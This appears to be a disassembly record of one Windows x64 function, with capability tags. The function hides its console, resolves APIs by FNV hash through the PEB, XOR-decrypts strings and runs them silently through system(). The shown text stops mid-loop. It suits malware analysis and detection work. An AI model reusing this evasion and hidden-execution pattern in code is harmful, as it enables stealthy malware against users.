Function at 0x14003d330
Capabilities:
Access peb ldr_data
Encode data using xor
Execute command
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x3748]
mov eax, 0x3848
call fcn.1400db3d0
sub rsp, rax
movaps xmmword [rsp + 0x3830], xmm6
movaps xmmword [rsp + 0x3820], xmm7
movaps xmmword [rsp + 0x3810], xmm8
movaps xmmword [rsp + 0x3800], xmm9
movaps xmmword [rsp + 0x37f0], xmm10
xor r14d, r14d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movups xmm0, xmmword [0x1400f9260]
movups xmmword [rbp + 0x3d0], xmm0
movups xmm1, xmmword [0x1400f9270]
movups xmmword [rbp + 0x3e0], xmm1
movups xmm0, xmmword [0x1400f9280]
movups xmmword [rbp + 0x3f0], xmm0
movups xmm1, xmmword [0x1400f9290]
movups xmmword [rbp + 0x400], xmm1
movups xmm0, xmmword [0x1400f92a0]
movups xmmword [rbp + 0x410], xmm0
mov eax, dword [0x1400f92b0]
mov dword [rbp + 0x420], eax
movzx eax, word [0x1400f92b4]
mov word [rbp + 0x424], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003d476
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003d476
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003d471
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003d450
cmp r8d, 0x491e0a9c
je 0x14003d47b
test r9d, r9d
jne 0x14003d430
mov rax, qword [rax]
jmp 0x14003d400
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r14d
movdqa xmm8, xmmword [0x1400f9d10]
movdqa xmm10, xmmword [0x1400f9d50]
movdqa xmm9, xmmword [str.5555]
movdqa xmm7, xmmword [0x1400f9ce0]
movdqa xmm6, xmmword [0x1400fa020]
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp r15d, 2
jl 0x14003d5db
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x3d4]
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x14003d4f0
cmp r8d, 0x56
jge 0x14003d620
movsxd rax, r8d
lea r9, [rbp + 0x3d0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x56
jl 0x14003d5f0
lea rcx, [rbp + 0x3d0]
call r11
movups xmm0, xmmword [0x1400f67d0]
movups xmmword [rbp + 0x370], xmm0
movups xmm1, xmmword [0x1400f67e0]
movups xmmword [rbp + 0x380], xmm1
movups xmm0, xmmword [0x1400f67f0]
movups xmmword [rbp + 0x390], xmm0
movups xmm1, xmmword [0x1400f6800]
movups xmmword [rbp + 0x3a0], xmm1
movups xmm0, xmmword [0x1400f6810]
movups xmmword [rbp + 0x3b0], xmm0
movsd xmm0, qword [0x1400f6820]
movsd qword [rbp + 0x3c0], xmm0
mov eax, dword [0x1400f6828]
mov dword [rbp + 0x3c8], eax
movzx eax, word [0x1400f682c]
mov word [rbp + 0x3cc], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003d726
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003d726
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003d721
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003d700
cmp r8d, 0x491e0a9c
je 0x14003d72b
test r9d, r9d
jne 0x14003d6e0
mov rax, qword [rax]
jmp 0x14003d6b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r14d
cmp r15d, 2
jl 0x14003d84d
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x374]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x14003d762
cmp r8d, 0x5e
jge 0x14003d890
movsxd rax, r8d
lea r9, [rbp + 0x370]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5e
jl 0x14003d860
lea rcx, [rbp + 0x370]
call r11
movups xmm0, xmmword [0x1400f9690]
movups xmmword [rbp + 0x310], xmm0
movups xmm1, xmmword [0x1400f96a0]
movups xmmword [rbp + 0x320], xmm1
movups xmm0, xmmword [0x1400f96b0]
movups xmmword [rbp + 0x330], xmm0
movups xmm1, xmmword [0x1400f96c0]
movups xmmword [rbp + 0x340], xmm1
movups xmm0, xmmword [0x1400f96d0]
movups xmmword [rbp + 0x350], xmm0
mov eax, dword [0x1400f96e0]
mov dword [rbp + 0x360], eax
movzx eax, word [0x1400f96e4]
mov word [rbp + 0x364], ax
movzx eax, byte [0x1400f96e6]
mov byte [rbp + 0x366], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003d996
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003d996
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003d991
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003d970
cmp r8d, 0x491e0a9c
je 0x14003d99b
test r9d, r9d
jne 0x14003d950
mov rax, qword [rax]
jmp 0x14003d920
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r14d
cmp r15d, 2
jl 0x14003dabd
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x314]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x14003d9d2
cmp r8d, 0x57
jge 0x14003db00
movsxd rax, r8d
lea r9, [rbp + 0x310]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x57
jl 0x14003dad0
lea rcx, [rbp + 0x310]
call r11
movups xmm0, xmmword [0x1400f6f80]
movups xmmword [rbp + 0x6b0], xmm0
movups xmm1, xmmword [0x1400f6f90]
movups xmmword [rbp + 0x6c0], xmm1
movups xmm0, xmmword [0x1400f6fa0]
movups xmmword [rbp + 0x6d0], xmm0
movups xmm1, xmmword [0x1400f6fb0]
movups xmmword [rbp + 0x6e0], xmm1
movups xmm0, xmmword [0x1400f6fc0]
movups xmmword [rbp + 0x6f0], xmm0
movups xmm1, xmmword [0x1400f6fd0]
movups xmmword [rbp + 0x700], xmm1
movups xmm0, xmmword [0x1400f6fe0]
movups xmmword [rbp + 0x710], xmm0
movups xmm1, xmmword [0x1400f6ff0]
movups xmmword [rbp + 0x720], xmm1
movsd xmm0, qword [0x1400f7000]
movsd qword [rbp + 0x730], xmm0
mov eax, dword [0x1400f7008]
mov dword [rbp + 0x738], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003dc26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003dc26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003dc21
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003dc00
cmp r8d, 0x491e0a9c
je 0x14003dc2b
test r9d, r9d
jne 0x14003dbe0
mov rax, qword [rax]
jmp 0x14003dbb0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r14d
cmp r15d, 2
jl 0x14003dd53
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x6b4]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x14003dc62
cmp r8d, 0x8c
jge 0x14003dd93
movsxd rax, r8d
lea r9, [rbp + 0x6b0]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8c
jl 0x14003dd60
lea rcx, [rbp + 0x6b0]
call r11
mov edx, 4
lea rcx, [rbp + 0x1620]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x1600]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f93d8]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [0x1400f93e8]
movups xmmword [rbp + 0x200], xmm1
movsd xmm0, qword [0x1400f93f8]
movsd qword [rbp + 0x210], xmm0
mov ecx, dword [0x1400f9400]
mov dword [rbp + 0x218], ecx
movzx eax, byte [0x1400f9404]
mov byte [rbp + 0x21c], al
mov r8d, r14d
cmp r15d, 2
jl 0x14003df1b
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003de30
cmp r8d, 0x2d
jge 0x14003df60
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003df30
mov r8, r10
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x15e0]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x15c0]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x570]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x570]
lea rcx, [rbp + 0x15a0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x15a0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x570]
call fcn.140071c30
nop
lea rcx, [rbp + 0x15c0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x15e0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1600]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1620]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x740]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x16a0]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f94f0]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [0x1400f9500]
movups xmmword [rbp + 0x1d0], xmm1
movsd xmm0, qword [0x1400f9510]
movsd qword [rbp + 0x1e0], xmm0
mov ecx, dword [str.AYDe]
mov dword [rbp + 0x1e8], ecx
movzx eax, byte [0x1400f951c]
mov byte [rbp + 0x1ec], al
mov r8d, r14d
cmp r15d, 2
jl 0x14003e19b
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x1c4]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003e0b0
cmp r8d, 0x2d
jge 0x14003e1e0
movsxd rax, r8d
lea r9, [rbp + 0x1c0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003e1b0
mov r8, r10
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x1680]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x1660]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x5b0]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x5b0]
lea rcx, [rbp + 0x1640]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1640]
call fcn.140071c30
nop
lea rcx, [rbp + 0x5b0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1660]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1680]
call fcn.140071c30
nop
lea rcx, [rbp + 0x16a0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x740]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x7e0]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x7c0]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f7b38]
movups xmmword [rbp + 0x190], xmm0
movups xmm1, xmmword [0x1400f7b48]
movups xmmword [rbp + 0x1a0], xmm1
movsd xmm0, qword [0x1400f7b58]
movsd qword [rbp + 0x1b0], xmm0
mov ecx, dword [0x1400f7b60]
mov dword [rbp + 0x1b8], ecx
movzx eax, byte [0x1400f7b64]
mov byte [rbp + 0x1bc], al
mov r8d, r14d
cmp r15d, 2
jl 0x14003e41b
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x194]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003e330
cmp r8d, 0x2d
jge 0x14003e460
movsxd rax, r8d
lea r9, [rbp + 0x190]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003e430
mov r8, r10
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x7a0]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x780]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x5d0]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x760]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x760]
call fcn.140071c30
nop
lea rcx, [rbp + 0x5d0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x780]
call fcn.140071c30
nop
lea rcx, [rbp + 0x7a0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x7c0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x7e0]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x880]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x860]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f7b68]
movups xmmword [rbp + 0x160], xmm0
movups xmm1, xmmword [0x1400f7b78]
movups xmmword [rbp + 0x170], xmm1
movsd xmm0, qword [0x1400f7b88]
movsd qword [rbp + 0x180], xmm0
mov ecx, dword [0x1400f7b90]
mov dword [rbp + 0x188], ecx
movzx eax, byte [0x1400f7b94]
mov byte [rbp + 0x18c], al
mov r8d, r14d
cmp r15d, 2
jl 0x14003e69b
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x164]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
